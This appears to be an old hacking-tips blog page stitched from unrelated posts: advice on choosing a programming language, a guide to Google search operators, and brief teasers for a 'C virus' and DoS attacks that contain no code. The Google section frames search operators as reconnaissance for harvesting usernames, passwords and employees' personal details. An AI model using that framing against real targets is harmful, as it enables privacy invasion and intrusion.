The article is all about Various Programming Languages. If you are stuck wondering where to start in your programming adventure this is the article for you.

Let’s Start …

Deciding what your needs are

Many times on forums and in chat rooms I hear the same question over and over. “What programming language should I learn?” but the answer is different for every person. However there are some common questions you can ask yourself to figure out a good starting point.

What do I want to accomplish ?

First you should start to think about what you want to create when coding. Do you want to make cool websites, and web applications, or maybe a quick windows application to calculate the amount of paint needed for a room? What about creating video, flash, and 3D graphics. There are languages designed to do all this and more! You just need to figure out what your needs and wants are. Do some research on popular languages and find out what types of programs other people have written with them.

Block any Website on Computer ~ C Virus Code

2011-08-17T09:53:00.006+05:30

In this post I’m going to show you how to block any websites in computer..

There are many reasons why you need to know how to block a website. Some of the most common reasons are you have been targeted by spammers who use adware and popup to attack your PC. Other reasons may be to prevent user from having access to certain site.

Google Basic Tricks and Hacks

2011-08-16T21:02:00.007+05:30

How Google Works?
Google indexes pages on the Web by using what are commonly known as “spiders”, “crawlers”, or “robots”. Google’s famous search engine spider, GoogleBot, uses links on web pages as a sort of freeway. It travels from site to site by following links. When Google finds a new web page, Google will “crawl” the code on the page and transport it back to its data center. Google’s “FreshBot” may visit “indexed websites” everyday in order to keep the index fresh. How often this is done varies wildly, is often speculated, and varies from site to site. Google’s database maintain billions of pages. They use a proprietary formula (or algorithm) to “score” the relevancy of websites for each search query. The highest ranking, or “most relevant” websites for a specific query are listed first in the search results. Take for example the search query “Tiger Woods”. Imagine Google maintains two pages in it’s index containing the name “Tiger Woods” (in reality it would have hundreds of thousands). Now imagine the first page displays the following headline, “Tiger Woods Wins Green Jacket”. The second page it titled “Greg Norman wins US Open”, but mentions Tiger’s name (in passing) in the text of the article. Google will most likely rank the first page as “more relevant”. The first page would appear above the second in the search results. Some other factors that seem to be major contributing factors in the algorithm of Google and other major search engines include:

Keyword-rich, visible, on-page content in the form of paragraphs of complete sentences (not keyword after keyword separated by commas. This should be informative, descriptive text using words pertaining to your business.)
Keywords in the title tag
Keywords in the description tag
The number of web pages out on the Web that are linking to your site
The quality of the web pages out on the Web that are linking to your site
The number of links on a page
The keyword density of any particular section of text

Google Tricks and Basic Hacks
Google’s Boolean default is AND that means if you enter query words without modifiers, Google will search for all of them. If you search for:

snowblower Honda “Green Bay”
Google will search for all the words.

If you want to specify that either word is acceptable, you put an OR between each item:
snowblower OR snowmobile OR “Green Bay”

If you want to definitely have one term and have one of two or more other terms, you group them
with parentheses, like this:
snowblower (snowmobile OR “Green Bay”)
This query searches for the word “snowmobile” or phrase “Green Bay” along with the word “snowblower.”

A stand-in for OR borrowed from the computer programming realm is the | (pipe) character, as in:
snowblower (snowmobile | “Green Bay”)

If you want to specify that a query item must not appear in your results, use a - (minus sign or dash).
snowblower snowmobile -”Green Bay”
This will search for pages that contain both the words “snowblower” and “snowmobile,” but not the phrase “Green Bay.”

The Special Syntaxes
In addition to the basic AND, OR, and quoted strings, Google offers some rather extensive special syntaxes for honing your searches. Google being a full-text search engine, it indexes entire web pages instead of just titles and descriptions. Additional commands, called special syntaxes, let Google users search specific parts of web pages or specific types of information. This comes in handy when you’re dealing with 2 billion web pages and need every opportunity to narrow your search results. Specifying that your query words must appear only in the title or URL of a returned web page is a great way to have your results get very specific without making your keywords themselves too specific.

INTITLE:
intitle: restricts your search to the titles of web pages. The variation,
allintitle: finds pages wherein all the words specified make up the title of the
web page. It’s probably best to avoid the allintitle: variation, because it doesn’t
mix well with some of the other syntaxes.
intitle:”Barak Obama”
allintitle:”Hacking Computer ” Keylogger

INURL:
inurl: restricts your search to the URLs of web pages. This syntax tends to work well
for finding search and help pages, because they tend to be rather regular in composition.
An allinurl: variation finds all the words listed in a URL but doesn’t mix well with
some other special syntaxes.
inurl:help
allinurl:search help

INTEXT:
intext: searches only body text (i.e., ignores link text, URLs, and titles). There’s an allintext: variation, but again, this doesn’t play well with others. While its uses are limited, it’s perfect for finding query words that might be too common in URLs or link titles.
intext:”yahoo.com”
intext:html

SITE:
site: allows you to narrow your search by either a site or a top-level domain. AltaVista, for example, has two syntaxes for this function (host: and domain:), but Google has only the one.

site:loc.gov
site:thomas.loc.gov
site:edu
site:nc.us

LINK:
link: returns a list of pages linking to the specified URL. Enter link:www.google.com and you’ll be returned a list of pages that link to Google. Don’t worry about including the http:// bit; you don’t need it, and, indeed, Google appears to ignore it even if you do put it in. link: works just as well with “deep” URLs—http://www.raelity.org/apps/blosxom/ for instance—as with top-level URLs such as raelity.org.

CACHE:
cache: finds a copy of the page that Google indexed even if that page is no longer available at its original URL or has since changed its content completely. This is particularly useful for pages that change often.
If Google returns a result that appears to have little to do with your query, you’re almost sure to find what you’re looking for in the latest cached version of the page at Google.
cache:www.yahoo.com

FILETYPE
filetype: searches the suffixes or filename extensions. These are usually, but not necessarily, different file types. I like to make this distinction, because searching for filetype:htm and filetype:html will give you different result counts, even though they’re the same file type. You can even search for different page generators, such as ASP, PHP, CGI, and so forth—presuming the site

isn’t hiding them behind redirection and proxying. Google indexes several different Microsoft formats, including: PowerPoint (PPT), Excel (XLS), and Word (DOC).
homeschooling filetype:pdf
“leading economic indicators” filetype:ppt

RELATED
related:, as you might expect, finds pages that are related to the specified page. Not all pages are related to other pages. This is a good way to find categories of pages; a search for related:google.com would return a variety of search engines, including HotBot, Yahoo!, and Northern Light.
related:www.yahoo.com
related:www.cnn.com

INFO
info: provides a page of links to more information about a specified URL. Information includes a link to the URL’s cache, a list of pages that link to that URL, pages that are related to that URL, and pages that contain that URL. Note that this information is dependent on whether Google has indexed that URL or not. If Google hasn’t indexed that URL, information will obviously be more limited.
info:www.oreilly.com
info:www.nytimes.com/technology

As with anything else, the more you use Google’s special syntaxes, the more natural they’ll become to you. And Google is constantly adding more, much to the delight of regular webcombers. If however, you want something more structured and visual than a single query line, Google’s Advanced Search should be fit the bill.

How can Google hacking help an ethical hacker?
Plays a very important role in collecting Information about the Target•
An important part of Reconnaissance•
You can collect lots of Information over the net, which sometimes includes even usernames and • passwords
List of Employees, their personal details•

TCP and UDP attacks

2011-08-15T00:58:00.006+05:30

Website DoS attacks are following :-
1. ICMP Attacks
2. Smurf Attacks
3. ICMP Tunneling